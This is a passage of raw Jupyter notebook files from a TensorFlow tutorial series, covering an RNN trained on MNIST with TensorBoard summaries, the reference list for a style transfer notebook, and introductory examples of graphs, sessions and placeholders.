28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": 2, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [ 132 | "def var_summaries(var):\n", 133 | " with tf.name_scope('summaries'):\n", 134 | " mean = tf.reduce_mean(var)\n", 135 | " tf.summary.scalar('mean', mean)\n", 136 | " with tf.name_scope('stddev'):\n", 137 | " stddev = tf.sqrt(tf.reduce_mean(tf.square(var-mean)))\n", 138 | " tf.summary.scalar('stddev', stddev)\n", 139 | " tf.summary.scalar('max', tf.reduce_max(var))\n", 140 | " tf.summary.scalar('min', tf.reduce_min(var))\n", 141 | " tf.summary.histogram('histogram', var)\n", 142 | " \n", 143 | "with tf.name_scope('mn_weights'):\n", 144 | " with tf.name_scope('W_x'):\n", 145 | " Wx = tf.Variable(tf.zeros([element_size, hidden_layer_size]))\n", 146 | " var_summaries(Wx)\n", 147 | " with tf.name_scope('W_h'):\n", 148 | " Wh = tf.Variable(tf.zeros([hidden_layer_size, hidden_layer_size]))\n", 149 | " var_summaries(Wh)\n", 150 | " with tf.name_scope('Bias'):\n", 151 | " b_rnn = tf.Variable(tf.zeros([hidden_layer_size]))\n", 152 | " var_summaries(b_rnn)" 153 | ] 154 | }, 155 | { 156 | "cell_type": "code", 157 | "execution_count": 8, 158 | "metadata": { 159 | "collapsed": true, 160 | "deletable": true, 161 | "editable": true 162 | }, 163 | "outputs": [], 164 | "source": [ 165 | "def rnn_step(previous_hidden_state,x):\n", 166 | " current_hidden_state = tf.tanh(tf.matmul(previous_hidden_state, Wh)+tf.matmul(x,Wx)+b_rnn)\n", 167 | " return current_hidden_state" 168 | ] 169 | }, 170 | { 171 | "cell_type": "code", 172 | "execution_count": 9, 173 | "metadata": { 174 | "collapsed": false, 175 | "deletable": true, 176 | "editable": true 177 | }, 178 | "outputs": [], 179 | "source": [ 180 | "processed_input = tf.transpose(_inputs, perm=[1,0,2])\n", 181 | "initial_hidden = tf.zeros([batch_size, hidden_layer_size])\n", 182 | "all_hidden_states = tf.scan(rnn_step, processed_input, initializer=initial_hidden, name='states')\n", 183 | "\n", 184 | "with tf.name_scope('linear_layer_weights') as scope:\n", 185 | " with tf.name_scope('W_linear'):\n", 186 | " Wl = tf.Variable(tf.truncated_normal([hidden_layer_size, num_classes], mean=0, stddev=.01))\n", 187 | " var_summaries(Wl)\n", 188 | " bl = tf.Variable(tf.truncated_normal([num_classes], mean=0, stddev=.01))\n", 189 | " var_summaries(bl)\n", 190 | " \n", 191 | "def get_linear_layer(hidden_state):\n", 192 | " return tf.matmul(hidden_state, Wl) + bl" 193 | ] 194 | }, 195 | { 196 | "cell_type": "code", 197 | "execution_count": 10, 198 | "metadata": { 199 | "collapsed": true, 200 | "deletable": true, 201 | "editable": true 202 | }, 203 | "outputs": [], 204 | "source": [ 205 | "with tf.name_scope('linear_layer_weights') as scope:\n", 206 | " all_outputs = tf.map_fn(get_linear_layer, all_hidden_states)\n", 207 | " output = all_outputs[-1]\n", 208 | " tf.summary.histogram('outputs',output)" 209 | ] 210 | }, 211 | { 212 | "cell_type": "code", 213 | "execution_count": null, 214 | "metadata": { 215 | "collapsed": true, 216 | "deletable": true, 217 | "editable": true 218 | }, 219 | "outputs": [], 220 | "source": [ 221 | "with tf.name_scope('cross_entropy'):\n", 222 | " cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=output, labels=y))\n", 223 | " tf.summary.scalar('cross_entropy', cross_entropy)\n", 224 | " \n", 225 | "with tf.name_scope('train'):\n", 226 | " train_step = tf.train.RMSPropOptimizer(0.001, 0.9).minimize(cross_entropy)\n", 227 | " \n", 228 | "with tf.name_scope('accuracy'):\n", 229 | " correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(output,1))\n", 230 | " accuracy = (tf.reduce_mean(tf.cast(correct_prediction, tf.float32)))*100\n", 231 | " tf.summary.scalar('accuracy', accuracy)\n", 232 | " \n", 233 | "merged = tf.summary.merge_all()" 234 | ] 235 | }, 236 | { 237 | "cell_type": "code", 238 | "execution_count": null, 239 | "metadata": { 240 | "collapsed": true, 241 | "deletable": true, 242 | "editable": true 243 | }, 244 | "outputs": [], 245 | "source": [ 246 | "test_data = mnist.test.images[:batch_size].reshape((-1,time_steps,element_size))\n", 247 | "test_labels = mnist.test.labels[:batch_size]\n", 248 | "\n", 249 | "with tf.Session() as sess:\n", 250 | " \n", 251 | " train_writer = tf.summary.FileWriter(LOG_DIR+'/train',graph=tf.get_default_graph())\n", 252 | " test_writer = tf.summary.FileWriter(LOG_DIR+'/test',graph=tf.get_default_graph())\n", 253 | " sess.run(tf.global_variables_initializer())\n", 254 | " \n", 255 | " for i in range(10000):\n", 256 | " \n", 257 | " batch_x,batch_y=mnist.train.next_batch(batch_size)\n", 258 | " batch_x = batch_x.reshape((batch_size,time_steps,element_size))\n", 259 | " summary,_ = sess.run([merged,train_step],feed_dict={_inputs:batch_x, y:batch_y})\n", 260 | " train_writer.add_summary(summary,i)\n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " " 269 | ] 270 | }, 271 | { 272 | "cell_type": "code", 273 | "execution_count": null, 274 | "metadata": { 275 | "collapsed": true, 276 | "deletable": true, 277 | "editable": true 278 | }, 279 | "outputs": [], 280 | "source": [] 281 | }, 282 | { 283 | "cell_type": "code", 284 | "execution_count": null, 285 | "metadata": { 286 | "collapsed": true, 287 | "deletable": true, 288 | "editable": true 289 | }, 290 | "outputs": [], 291 | "source": [] 292 | } 293 | ], 294 | "metadata": { 295 | "kernelspec": { 296 | "display_name": "Python 3", 297 | "language": "python", 298 | "name": "python3" 299 | }, 300 | "language_info": { 301 | "codemirror_mode": { 302 | "name": "ipython", 303 | "version": 3 304 | }, 305 | "file_extension": ".py", 306 | "mimetype": "text/x-python", 307 | "name": "python", 308 | "nbconvert_exporter": "python", 309 | "pygments_lexer": "ipython3", 310 | "version": "3.5.0" 311 | } 312 | }, 313 | "nbformat": 4, 314 | "nbformat_minor": 2 315 | } 316 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 32 - Recurrent Neural Networks - 7.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Text and Sequence Data\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](timeseq1.png)
\n", 17 | "\n", 18 | "*

By Glen Fergus [CC BY 3.0] via Wikimedia Commons

*\n", 19 | "\n" 20 | ] 21 | }, 22 | { 23 | "cell_type": "markdown", 24 | "metadata": { 25 | "collapsed": false, 26 | "deletable": true, 27 | "editable": true 28 | }, 29 | "source": [ 30 | "- build recurrent neural networks **(RNN)** for **NLP** (Natural Language Processing) and **NLU** (Natural Language Understanding)\n", 31 | "- *NLP and NLU tasks involve: document classification, sentiment analysis, conversational agents*\n", 32 | "- Tensorboard for visualization purposes\n", 33 | "- ? Long Short-Term Memory models\n", 34 | "\n", 35 | "### Sequence Data\n", 36 | "\n", 37 | "- video - images arranged over time\n", 38 | "- medical records\n", 39 | "- temperature data (see above)\n", 40 | "- audio data \n", 41 | "- stock market data\n", 42 | "- etc." 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "metadata": { 48 | "collapsed": true, 49 | "deletable": true, 50 | "editable": true 51 | }, 52 | "source": [ 53 | "##
Recurrent Neural Networks
\n", 54 | "\n", 55 | "
\n", 56 | "\n", 57 | "
![](rnnl.png)
\n", 58 | "\n", 59 | "*

By François Deloche [CC BY-SA 4.0] via Wikimedia Commons

*\n", 60 | "\n", 61 | "- each node adds new information => updates the model\n", 62 | "- in humans: learning new things => updates our model of the world\n", 63 | "- **Markov Chain** model: data = sequence of (dependent) chains\n", 64 | "- at time 't': xt, ht, ot\n", 65 | "- the RNN: unrolled chain of nodes\n", 66 | "- **supervised learning:** input node => activation (h) - supervisor-given target activations => some outputs\n", 67 | "- **reinforcement learning:** fitness/reward function => influences inputs via outputs connected to actuators" 68 | ] 69 | }, 70 | { 71 | "cell_type": "markdown", 72 | "metadata": { 73 | "collapsed": true, 74 | "deletable": true, 75 | "editable": true 76 | }, 77 | "source": [ 78 | "## Implementing MNIST for RNNs" 79 | ] 80 | }, 81 | { 82 | "cell_type": "code", 83 | "execution_count": 1, 84 | "metadata": { 85 | "collapsed": false, 86 | "deletable": true, 87 | "editable": true 88 | }, 89 | "outputs": [ 90 | { 91 | "name": "stdout", 92 | "output_type": "stream", 93 | "text": [ 94 | "Extracting /tmp/data/train-images-idx3-ubyte.gz\n", 95 | "Extracting /tmp/data/train-labels-idx1-ubyte.gz\n", 96 | "Extracting /tmp/data/t10k-images-idx3-ubyte.gz\n", 97 | "Extracting /tmp/data/t10k-labels-idx1-ubyte.gz\n" 98 | ] 99 | } 100 | ], 101 | "source": [ 102 | "import tensorflow as tf\n", 103 | "\n", 104 | "from tensorflow.examples.tutorials.mnist import input_data\n", 105 | "mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n", 106 | "\n", 107 | "element_size = 28\n", 108 | "time_steps = 28\n", 109 | "num_classes = 10 \n", 110 | "batch_size = 128\n", 111 | "hidden_layer_size = 128 \n", 112 | "\n", 113 | "LOG_DIR = 'logs/RNN_with_summaries'\n", 114 | "\n", 115 | "_inputs = tf.placeholder(tf.float32, shape=[None, time_steps,element_size], name='inputs')\n", 116 | "y = tf.placeholder(tf.float32, shape=[None, num_classes], name='labels')\n", 117 | "\n", 118 | "batch_x, batch_y = mnist.train.next_batch(batch_size)\n", 119 | "batch_x = batch_x.reshape((batch_size, time_steps,element_size))" 120 | ] 121 | }, 122 | { 123 | "cell_type": "code", 124 | "execution_count": 2, 125 | "metadata": { 126 | "collapsed": true, 127 | "deletable": true, 128 | "editable": true 129 | }, 130 | "outputs": [], 131 | "source": [ 132 | "def var_summaries(var):\n", 133 | " with tf.name_scope('summaries'):\n", 134 | " mean = tf.reduce_mean(var)\n", 135 | " tf.summary.scalar('mean', mean)\n", 136 | " with tf.name_scope('stddev'):\n", 137 | " stddev = tf.sqrt(tf.reduce_mean(tf.square(var-mean)))\n", 138 | " tf.summary.scalar('stddev', stddev)\n", 139 | " tf.summary.scalar('max', tf.reduce_max(var))\n", 140 | " tf.summary.scalar('min', tf.reduce_min(var))\n", 141 | " tf.summary.histogram('histogram', var)\n", 142 | " \n", 143 | "with tf.name_scope('mn_weights'):\n", 144 | " with tf.name_scope('W_x'):\n", 145 | " Wx = tf.Variable(tf.zeros([element_size, hidden_layer_size]))\n", 146 | " var_summaries(Wx)\n", 147 | " with tf.name_scope('W_h'):\n", 148 | " Wh = tf.Variable(tf.zeros([hidden_layer_size, hidden_layer_size]))\n", 149 | " var_summaries(Wh)\n", 150 | " with tf.name_scope('Bias'):\n", 151 | " b_rnn = tf.Variable(tf.zeros([hidden_layer_size]))\n", 152 | " var_summaries(b_rnn)" 153 | ] 154 | }, 155 | { 156 | "cell_type": "code", 157 | "execution_count": 3, 158 | "metadata": { 159 | "collapsed": true, 160 | "deletable": true, 161 | "editable": true 162 | }, 163 | "outputs": [], 164 | "source": [ 165 | "def rnn_step(previous_hidden_state,x):\n", 166 | " current_hidden_state = tf.tanh(tf.matmul(previous_hidden_state, Wh)+tf.matmul(x,Wx)+b_rnn)\n", 167 | " return current_hidden_state" 168 | ] 169 | }, 170 | { 171 | "cell_type": "code", 172 | "execution_count": 4, 173 | "metadata": { 174 | "collapsed": false, 175 | "deletable": true, 176 | "editable": true 177 | }, 178 | "outputs": [], 179 | "source": [ 180 | "processed_input = tf.transpose(_inputs, perm=[1,0,2])\n", 181 | "initial_hidden = tf.zeros([batch_size, hidden_layer_size])\n", 182 | "all_hidden_states = tf.scan(rnn_step, processed_input, initializer=initial_hidden, name='states')\n", 183 | "\n", 184 | "with tf.name_scope('linear_layer_weights') as scope:\n", 185 | " with tf.name_scope('W_linear'):\n", 186 | " Wl = tf.Variable(tf.truncated_normal([hidden_layer_size, num_classes], mean=0, stddev=.01))\n", 187 | " var_summaries(Wl)\n", 188 | " bl = tf.Variable(tf.truncated_normal([num_classes], mean=0, stddev=.01))\n", 189 | " var_summaries(bl)\n", 190 | " \n", 191 | "def get_linear_layer(hidden_state):\n", 192 | " return tf.matmul(hidden_state, Wl) + bl" 193 | ] 194 | }, 195 | { 196 | "cell_type": "code", 197 | "execution_count": 5, 198 | "metadata": { 199 | "collapsed": true, 200 | "deletable": true, 201 | "editable": true 202 | }, 203 | "outputs": [], 204 | "source": [ 205 | "with tf.name_scope('linear_layer_weights') as scope:\n", 206 | " all_outputs = tf.map_fn(get_linear_layer, all_hidden_states)\n", 207 | " output = all_outputs[-1]\n", 208 | " tf.summary.histogram('outputs',output)" 209 | ] 210 | }, 211 | { 212 | "cell_type": "code", 213 | "execution_count": 6, 214 | "metadata": { 215 | "collapsed": true, 216 | "deletable": true, 217 | "editable": true 218 | }, 219 | "outputs": [], 220 | "source": [ 221 | "with tf.name_scope('cross_entropy'):\n", 222 | " cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=output, labels=y))\n", 223 | " tf.summary.scalar('cross_entropy', cross_entropy)\n", 224 | " \n", 225 | "with tf.name_scope('train'):\n", 226 | " train_step = tf.train.RMSPropOptimizer(0.001, 0.9).minimize(cross_entropy)\n", 227 | " \n", 228 | "with tf.name_scope('accuracy'):\n", 229 | " correct_prediction = tf.equal(tf.argmax(y,1), tf.argmax(output,1))\n", 230 | " accuracy = (tf.reduce_mean(tf.cast(correct_prediction, tf.float32)))*100\n", 231 | " tf.summary.scalar('accuracy', accuracy)\n", 232 | " \n", 233 | "merged = tf.summary.merge_all()" 234 | ] 235 | }, 236 | { 237 | "cell_type": "code", 238 | "execution_count": 7, 239 | "metadata": { 240 | "collapsed": false, 241 | "deletable": true, 242 | "editable": true 243 | }, 244 | "outputs": [ 245 | { 246 | "name": "stdout", 247 | "output_type": "stream", 248 | "text": [ 249 | "Iter 0, Minibatch Loss=2.301976, Training Accuracy=8.59375\n", 250 | "Iter 1000, Minibatch Loss=1.205346, Training Accuracy=56.25000\n", 251 | "Iter 2000, Minibatch Loss=0.611657, Training Accuracy=82.81250\n", 252 | "Iter 3000, Minibatch Loss=0.264072, Training Accuracy=90.62500\n", 253 | "Iter 4000, Minibatch Loss=0.261685, Training Accuracy=92.96875\n", 254 | "Iter 5000, Minibatch Loss=0.074211, Training Accuracy=98.43750\n", 255 | "Iter 6000, Minibatch Loss=0.156546, Training Accuracy=96.87500\n", 256 | "Iter 7000, Minibatch Loss=0.116631, Training Accuracy=96.87500\n", 257 | "Iter 8000, Minibatch Loss=0.046953, Training Accuracy=99.21875\n", 258 | "Iter 9000, Minibatch Loss=0.141044, Training Accuracy=96.87500\n", 259 | "Test Accuracy: 96.0938\n" 260 | ] 261 | } 262 | ], 263 | "source": [ 264 | "test_data = mnist.test.images[:batch_size].reshape((-1,time_steps,element_size))\n", 265 | "test_label = mnist.test.labels[:batch_size]\n", 266 | "\n", 267 | "with tf.Session() as sess:\n", 268 | " \n", 269 | " train_writer = tf.summary.FileWriter(LOG_DIR+'/train',graph=tf.get_default_graph())\n", 270 | " test_writer = tf.summary.FileWriter(LOG_DIR+'/test',graph=tf.get_default_graph())\n", 271 | " sess.run(tf.global_variables_initializer())\n", 272 | " \n", 273 | " for i in range(10000):\n", 274 | " \n", 275 | " batch_x,batch_y=mnist.train.next_batch(batch_size)\n", 276 | " batch_x = batch_x.reshape((batch_size,time_steps,element_size))\n", 277 | " summary,_ = sess.run([merged,train_step],feed_dict={_inputs:batch_x, y:batch_y})\n", 278 | " train_writer.add_summary(summary,i)\n", 279 | " \n", 280 | " if i%1000 == 0:\n", 281 | " \n", 282 | " acc, loss, = sess.run([accuracy,cross_entropy], feed_dict={_inputs:batch_x, y:batch_y})\n", 283 | " print('Iter '+str(i)+', Minibatch Loss='+'{:.6f}'.format(loss)+', Training Accuracy='+'{:.5f}'.format(acc))\n", 284 | " \n", 285 | " if i%10:\n", 286 | " summary,acc = sess.run([merged,accuracy], feed_dict={_inputs:test_data,y:test_label})\n", 287 | " test_writer.add_summary(summary,i)\n", 288 | " \n", 289 | " test_acc = sess.run(accuracy,feed_dict={_inputs:test_data,y:test_label})\n", 290 | " print('Test Accuracy: ',test_acc) \n", 291 | " \n", 292 | " \n", 293 | " " 294 | ] 295 | }, 296 | { 297 | "cell_type": "code", 298 | "execution_count": null, 299 | "metadata": { 300 | "collapsed": true, 301 | "deletable": true, 302 | "editable": true 303 | }, 304 | "outputs": [], 305 | "source": [] 306 | }, 307 | { 308 | "cell_type": "code", 309 | "execution_count": null, 310 | "metadata": { 311 | "collapsed": true, 312 | "deletable": true, 313 | "editable": true 314 | }, 315 | "outputs": [], 316 | "source": [] 317 | }, 318 | { 319 | "cell_type": "code", 320 | "execution_count": null, 321 | "metadata": { 322 | "collapsed": true 323 | }, 324 | "outputs": [], 325 | "source": [] 326 | }, 327 | { 328 | "cell_type": "code", 329 | "execution_count": null, 330 | "metadata": { 331 | "collapsed": true 332 | }, 333 | "outputs": [], 334 | "source": [] 335 | }, 336 | { 337 | "cell_type": "code", 338 | "execution_count": null, 339 | "metadata": { 340 | "collapsed": true 341 | }, 342 | "outputs": [], 343 | "source": [] 344 | }, 345 | { 346 | "cell_type": "code", 347 | "execution_count": null, 348 | "metadata": { 349 | "collapsed": true 350 | }, 351 | "outputs": [], 352 | "source": [] 353 | }, 354 | { 355 | "cell_type": "code", 356 | "execution_count": null, 357 | "metadata": { 358 | "collapsed": true 359 | }, 360 | "outputs": [], 361 | "source": [] 362 | }, 363 | { 364 | "cell_type": "code", 365 | "execution_count": null, 366 | "metadata": { 367 | "collapsed": true 368 | }, 369 | "outputs": [], 370 | "source": [] 371 | } 372 | ], 373 | "metadata": { 374 | "kernelspec": { 375 | "display_name": "Python 3", 376 | "language": "python", 377 | "name": "python3" 378 | }, 379 | "language_info": { 380 | "codemirror_mode": { 381 | "name": "ipython", 382 | "version": 3 383 | }, 384 | "file_extension": ".py", 385 | "mimetype": "text/x-python", 386 | "name": "python", 387 | "nbconvert_exporter": "python", 388 | "pygments_lexer": "ipython3", 389 | "version": "3.5.0" 390 | } 391 | }, 392 | "nbformat": 4, 393 | "nbformat_minor": 2 394 | } 395 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 34 - Neural Style Transfer with VGG19 - 1.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow and Deep Learning
\n", 11 | "\n", 12 | "## Neural Style Transfer with VGG19\n", 13 | "\n", 14 | "
\n", 15 | "\n", 16 | "
![](data/StarryNight-small.jpg)
\n", 17 | "\n", 18 | "*

By Vincent van Gogh [Public domain] via Wikimedia Commons

*\n", 19 | "\n", 20 | "
![](data/Marilyn_Monroe_in_1952-small.jpg)
\n", 21 | "\n", 22 | "*

By English: New York Sunday News [Public domain], via Wikimedia Commons

*" 23 | ] 24 | }, 25 | { 26 | "cell_type": "markdown", 27 | "metadata": { 28 | "collapsed": false, 29 | "deletable": true, 30 | "editable": true 31 | }, 32 | "source": [ 33 | "### Deep Learning Cookbook:\n", 34 | "\n", 35 | "Antonio Gulli and Amita Kapoor - TensorFlow Deep Learning Cookbook - https://www.amazon.com/gp/product/B0753KP6S4/\n", 36 | "\n", 37 | "#### Gatys et al. (2015) paper:\n", 38 | "\n", 39 | "A Neural Algorithm of Artistic Style - https://arxiv.org/pdf/1508.06576.pdf\n", 40 | "\n", 41 | "\n", 42 | "#### Pretrained VGG19:\n", 43 | "\n", 44 | "http://www.vlfeat.org/matconvnet/models/beta16/imagenet-vgg-verydeep-19.mat\n", 45 | "\n", 46 | "Images:\n", 47 | "\n", 48 | "- By Vincent van Gogh [Public domain] via Wikimedia Commons - https://en.wikipedia.org/wiki/File:VanGogh-starry_night_ballance1.jpg\n", 49 | "\n", 50 | "\n", 51 | "- New York Sunday News [Public domain], via Wikimedia Commons - https://upload.wikimedia.org/wikipedia/commons/0/0a/Marilyn_Monroe_in_1952.jpg\n", 52 | "\n", 53 | "#### Libraries:\n", 54 | "\n", 55 | "- tensorflow\n", 56 | "- numpy\n", 57 | "- scipy\n", 58 | "- PIL\n", 59 | "- matplotlib\n", 60 | "- possibly others." 61 | ] 62 | }, 63 | { 64 | "cell_type": "code", 65 | "execution_count": null, 66 | "metadata": { 67 | "collapsed": true, 68 | "deletable": true, 69 | "editable": true 70 | }, 71 | "outputs": [], 72 | "source": [] 73 | }, 74 | { 75 | "cell_type": "code", 76 | "execution_count": null, 77 | "metadata": { 78 | "collapsed": true, 79 | "deletable": true, 80 | "editable": true 81 | }, 82 | "outputs": [], 83 | "source": [] 84 | }, 85 | { 86 | "cell_type": "code", 87 | "execution_count": null, 88 | "metadata": { 89 | "collapsed": true, 90 | "deletable": true, 91 | "editable": true 92 | }, 93 | "outputs": [], 94 | "source": [] 95 | }, 96 | { 97 | "cell_type": "code", 98 | "execution_count": null, 99 | "metadata": { 100 | "collapsed": true, 101 | "deletable": true, 102 | "editable": true 103 | }, 104 | "outputs": [], 105 | "source": [] 106 | }, 107 | { 108 | "cell_type": "code", 109 | "execution_count": null, 110 | "metadata": { 111 | "collapsed": true, 112 | "deletable": true, 113 | "editable": true 114 | }, 115 | "outputs": [], 116 | "source": [] 117 | }, 118 | { 119 | "cell_type": "code", 120 | "execution_count": null, 121 | "metadata": { 122 | "collapsed": true, 123 | "deletable": true, 124 | "editable": true 125 | }, 126 | "outputs": [], 127 | "source": [] 128 | }, 129 | { 130 | "cell_type": "code", 131 | "execution_count": null, 132 | "metadata": { 133 | "collapsed": true, 134 | "deletable": true, 135 | "editable": true 136 | }, 137 | "outputs": [], 138 | "source": [] 139 | }, 140 | { 141 | "cell_type": "code", 142 | "execution_count": null, 143 | "metadata": { 144 | "collapsed": true, 145 | "deletable": true, 146 | "editable": true 147 | }, 148 | "outputs": [], 149 | "source": [] 150 | } 151 | ], 152 | "metadata": { 153 | "kernelspec": { 154 | "display_name": "Python 3", 155 | "language": "python", 156 | "name": "python3" 157 | }, 158 | "language_info": { 159 | "codemirror_mode": { 160 | "name": "ipython", 161 | "version": 3 162 | }, 163 | "file_extension": ".py", 164 | "mimetype": "text/x-python", 165 | "name": "python", 166 | "nbconvert_exporter": "python", 167 | "pygments_lexer": "ipython3", 168 | "version": "3.5.0" 169 | } 170 | }, 171 | "nbformat": 4, 172 | "nbformat_minor": 2 173 | } 174 | -------------------------------------------------------------------------------- /Neural Networks and TensorFlow - 8 - Computational Graph, Ops, Sessions, Placeholders.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "metadata": { 6 | "deletable": true, 7 | "editable": true 8 | }, 9 | "source": [ 10 | "#
TensorFlow
" 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "metadata": { 16 | "collapsed": true, 17 | "deletable": true, 18 | "editable": true 19 | }, 20 | "source": [ 21 | "![](tflogo.png)\n", 22 | "\n", 23 | "*

By TensorFlow - vectors combined, edited - Begoon [Apache License 2.0] via Wikimedia Commons

*\n", 24 | "\n", 25 | "- one of the most popular tools for deep learning\n", 26 | "- released in 2015\n", 27 | "- \"framework for numerical computation based on dataflow graphs.\" [2] [Hope et al. (2017)]\n", 28 | "- tensors - multidimensional arrays\n", 29 | "- built in C++, used through higer level languages (Python) and libraries (keras, tf-slim)\n", 30 | "\n", 31 | "![](sqcube.png)\n", 32 | "\n", 33 | "![](greyrgb.png)\n", 34 | "\n", 35 | "- image tensor flows through the computational graph\n", 36 | "\n", 37 | "### Computational graph:\n", 38 | "\n", 39 | "![](compgraph.png)\n", 40 | "\n", 41 | "- composed of nodes and edges\n", 42 | "\n", 43 | "*

Computational Graph. By Sebastian Raschka via Github

*\n", 44 | "\n", 45 | "### Advantages and Disadvantages (a few):\n", 46 | "\n", 47 | "- open source and continously developed\n", 48 | "- good visualization tools \n", 49 | "- scalability and portability\n", 50 | "- steeper learning curve to become good at it \n", 51 | "- implies solid knowledge of math\n", 52 | "- http://tensorflow.org\n", 53 | "\n", 54 | "### Types of Operations:\n", 55 | "\n", 56 | "- Add, Sub, Div, Mul, Log, Exp, etc. (element wise math ops.)\n", 57 | "- on arrays and matrices: Constant, Shape, Split, Concat, Slice, MatMul, etc.\n", 58 | "- Sigmoid, ReLU, Convolution2D, SoftMax, etc.\n", 59 | "- and more" 60 | ] 61 | }, 62 | { 63 | "cell_type": "code", 64 | "execution_count": 33, 65 | "metadata": { 66 | "collapsed": false, 67 | "deletable": true, 68 | "editable": true 69 | }, 70 | "outputs": [], 71 | "source": [ 72 | "import tensorflow as tf\n", 73 | "import numpy as np" 74 | ] 75 | }, 76 | { 77 | "cell_type": "code", 78 | "execution_count": 34, 79 | "metadata": { 80 | "collapsed": false, 81 | "deletable": true, 82 | "editable": true 83 | }, 84 | "outputs": [], 85 | "source": [ 86 | "a = tf.constant('Hello')\n", 87 | "b = tf.constant(' World!')\n", 88 | "c = a+b" 89 | ] 90 | }, 91 | { 92 | "cell_type": "code", 93 | "execution_count": 35, 94 | "metadata": { 95 | "collapsed": false, 96 | "deletable": true, 97 | "editable": true 98 | }, 99 | "outputs": [ 100 | { 101 | "name": "stdout", 102 | "output_type": "stream", 103 | "text": [ 104 | "Tensor(\"add_11:0\", shape=(), dtype=string)\n" 105 | ] 106 | } 107 | ], 108 | "source": [ 109 | "print(c)" 110 | ] 111 | }, 112 | { 113 | "cell_type": "code", 114 | "execution_count": 36, 115 | "metadata": { 116 | "collapsed": false, 117 | "deletable": true, 118 | "editable": true 119 | }, 120 | "outputs": [ 121 | { 122 | "name": "stdout", 123 | "output_type": "stream", 124 | "text": [ 125 | "b'Hello World!'\n" 126 | ] 127 | } 128 | ], 129 | "source": [ 130 | "with tf.Session() as sess: \n", 131 | " runop = sess.run(c)\n", 132 | " \n", 133 | "print(runop)" 134 | ] 135 | }, 136 | { 137 | "cell_type": "code", 138 | "execution_count": 37, 139 | "metadata": { 140 | "collapsed": false, 141 | "deletable": true, 142 | "editable": true 143 | }, 144 | "outputs": [ 145 | { 146 | "name": "stdout", 147 | "output_type": "stream", 148 | "text": [ 149 | "b'Hello World!'\n" 150 | ] 151 | } 152 | ], 153 | "source": [ 154 | "c = tf.add(a,b)\n", 155 | "\n", 156 | "with tf.Session() as sess:\n", 157 | " runop = sess.run(c)\n", 158 | " \n", 159 | "print(runop)" 160 | ] 161 | }, 162 | { 163 | "cell_type": "code", 164 | "execution_count": 38, 165 | "metadata": { 166 | "collapsed": false, 167 | "deletable": true, 168 | "editable": true 169 | }, 170 | "outputs": [ 171 | { 172 | "name": "stdout", 173 | "output_type": "stream", 174 | "text": [ 175 | "[[[ 88 94]\n", 176 | " [214 229]]\n", 177 | "\n", 178 | " [[484 508]\n", 179 | " [642 674]]]\n" 180 | ] 181 | } 182 | ], 183 | "source": [ 184 | "mat_a = tf.constant(np.arange(1,12, dtype=np.int32), shape=[2,2,3])\n", 185 | "mat_b = tf.constant(np.arange(12,24, dtype=np.int32), shape=[2,3,2])\n", 186 | "mul_c = tf.matmul(mat_a, mat_b)\n", 187 | "\n", 188 | "with tf.Session() as sess:\n", 189 | " runop = sess.run(mul_c)\n", 190 | " \n", 191 | "print(runop)" 192 | ] 193 | }, 194 | { 195 | "cell_type": "markdown", 196 | "metadata": { 197 | "collapsed": true, 198 | "deletable": true, 199 | "editable": true 200 | }, 201 | "source": [ 202 | "### A typical TensorFlow project:\n", 203 | "\n", 204 | "- (1). constructing the graph: tf.constant, tf.placeholder, tf.variable, tf.nn.sigmoid, tf.matmul, etc.\n", 205 | "- (2). executing the graph (within a session)\n", 206 | "- use tensorboard for visualization.\n", 207 | "\n", 208 | "### Placeholders:\n", 209 | "\n", 210 | "- allow for reusability\n", 211 | "- can be populated with different data every time you run the graph (feed_dict)" 212 | ] 213 | }, 214 | { 215 | "cell_type": "code", 216 | "execution_count": null, 217 | "metadata": { 218 | "collapsed": false, 219 | "deletable": true, 220 | "editable": true 221 | }, 222 | "outputs": [], 223 | "source": [ 224 | "with tf.Session() as sess:\n", 225 | " sess.run(ops)\n", 226 | " sess.close()" 227 | ] 228 | }, 229 | { 230 | "cell_type": "code", 231 | "execution_count": 42, 232 | "metadata": { 233 | "collapsed": true, 234 | "deletable": true, 235 | "editable": true 236 | }, 237 | "outputs": [], 238 | "source": [ 239 | "x = tf.placeholder(tf.float32, name='X', shape=(4,9))\n", 240 | "w = tf.placeholder(tf.float32, name='W', shape=(9,1))\n", 241 | "b = tf.fill((4,1), -1., name='bias')\n", 242 | "y = tf.matmul(x,w)+b\n", 243 | "s = tf.reduce_max(y)" 244 | ] 245 | }, 246 | { 247 | "cell_type": "code", 248 | "execution_count": 46, 249 | "metadata": { 250 | "collapsed": false, 251 | "deletable": true, 252 | "editable": true 253 | }, 